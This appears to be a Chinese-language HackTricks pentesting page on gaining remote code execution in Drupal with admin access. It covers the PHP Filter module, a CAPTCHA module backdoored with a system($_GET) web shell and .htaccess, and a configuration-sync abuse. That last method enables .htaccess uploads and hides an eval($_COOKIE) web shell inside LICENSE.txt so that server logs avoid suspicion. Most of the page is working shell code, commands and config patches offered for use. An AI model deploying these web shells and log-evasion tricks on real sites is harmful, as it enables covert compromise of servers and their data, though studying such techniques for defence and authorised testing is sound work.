Drupal RCE

支持 HackTricks

使用 PHP 过滤器模块

在旧版本的 Drupal (8 之前),可以以管理员身份登录并 启用 PHP filter 模块,该模块“允许嵌入的 PHP 代码/片段被评估。”但从版本 8 开始,该模块默认不安装。

您需要 安装 php 插件(通过访问 /modules/php 检查,如果返回 403,则 存在,如果 未找到,则 php 插件未安装

转到 Modules -> (检查) PHP Filter -> 保存配置

然后点击 添加内容 -> 选择 基本页面文章 -> 在正文中写入 php shellcode -> 在 文本格式 中选择 PHP 代码 -> 选择 预览

最后只需访问新创建的节点:

curl http://drupal-site.local/node/3

安装 PHP Filter 模块

在当前版本中,默认安装后仅通过访问网页不再可能安装插件。

从版本 8 开始, PHP Filter 模块不再默认安装。要利用此功能,我们必须 自己安装模块

  1. 从 Drupal 网站下载模块的最新版本。

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. 下载完成后,转到 Administration > Reports > Available updates

  4. 点击 Browse,选择我们下载的文件所在目录中的文件,然后点击 Install

  5. 模块安装完成后,我们可以点击 Content创建一个新的基本页面,类似于我们在 Drupal 7 示例中所做的。再次确保 Text format 下拉菜单中选择 PHP code

后门模块

在当前版本中,默认安装后仅通过访问网页不再可能安装插件。

后门模块可以通过 向现有模块添加 shell 来创建。模块可以在 drupal.org 网站上找到。我们选择一个模块,例如 CAPTCHA。向下滚动并复制 tar.gz 归档 的链接。

  • 下载归档并提取其内容。

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • 创建一个 PHP web shell,内容为:

<?php
system($_GET["cmd"]);
?>
  • 接下来,我们需要创建一个 .htaccess 文件,以便为自己提供对该文件夹的访问权限。这是必要的,因为 Drupal 拒绝直接访问 /modules 文件夹。

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • 上述配置将在我们请求 /modules 中的文件时应用规则。将这两个文件复制到 captcha 文件夹并创建一个归档。

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • 假设我们对网站有管理访问权限,点击侧边栏的**管理,然后点击扩展。接下来,点击+ 安装新模块按钮,我们将被带到安装页面,例如http://drupal-site.local/admin/modules/install。浏览到后门化的验证码归档并点击安装**。

  • 安装成功后,浏览到**/modules/captcha/shell.php**以执行命令。

使用配置同步对Drupal进行后门化

分享者 Coiffeur0x90

第1部分(激活_媒体_和_媒体库_)

在_扩展_菜单(/admin/modules)中,您可以激活看似已经安装的插件。默认情况下,插件_媒体_和_媒体库_似乎未被激活,因此让我们激活它们。

激活前:

激活后:

第2部分(利用_配置同步_功能)

我们将利用_配置同步_功能来转储(导出)和上传(导入)Drupal配置条目:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

补丁 system.file.yml

让我们从补丁第一个条目allow_insecure_uploads开始:

文件:system.file.yml


...

allow_insecure_uploads: false

...

到:

文件:system.file.yml


...

allow_insecure_uploads: true

...

修补 field.field.media.document.field_media_document.yml

然后,修补第二个条目 file_extensions 从:

文件: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

到:

文件:field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

我在这篇博客中没有使用它,但值得注意的是,可以以任意方式定义条目 file_directory,并且它容易受到路径遍历攻击(因此我们可以在Drupal文件系统树中向上返回)。

第3部分(利用功能 添加文档

最后一步是最简单的,分为两个子步骤。第一个是上传一个.htaccess格式的文件,以利用Apache指令并允许PHP引擎解释.txt文件。第二个是上传一个包含我们有效载荷的.txt文件。

文件:.htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

为什么这个技巧很酷?

因为一旦 Webshell(我们称之为 LICENSE.txt)被放置到 Web 服务器上,我们可以通过 $_COOKIE 传输我们的命令,并且在 Web 服务器日志中,这将显示为对文本文件的合法 GET 请求。

为什么将我们的 Webshell 命名为 LICENSE.txt?

简单来说,如果我们以以下文件为例 core/LICENSE.txt(该文件已经存在于 Drupal 核心中),我们有一个339行和17.6 KB大小的文件,这非常适合在中间添加一小段 PHP 代码(因为文件足够大)。

文件:已修补的 LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

第3.1部分(上传文件 .htaccess)

首先,我们利用 Add Document (/media/add/document) 功能上传包含Apache指令的文件(.htaccess)。

第3.2部分(上传文件 LICENSE.txt)

然后,我们再次利用 Add Document (/media/add/document) 功能上传隐藏在许可证文件中的Webshell。

第4部分(与Webshell交互)

最后一部分是与Webshell进行交互。

如以下截图所示,如果我们的Webshell所期望的cookie未定义,则在通过Web浏览器查询文件时会得到后续结果。

当攻击者设置cookie时,他可以与Webshell交互并执行任何他想要的命令。

正如您在日志中看到的,似乎只请求了一个txt文件。

感谢您花时间阅读本文,希望它能帮助您获取一些shell。

支持HackTricks

Last updated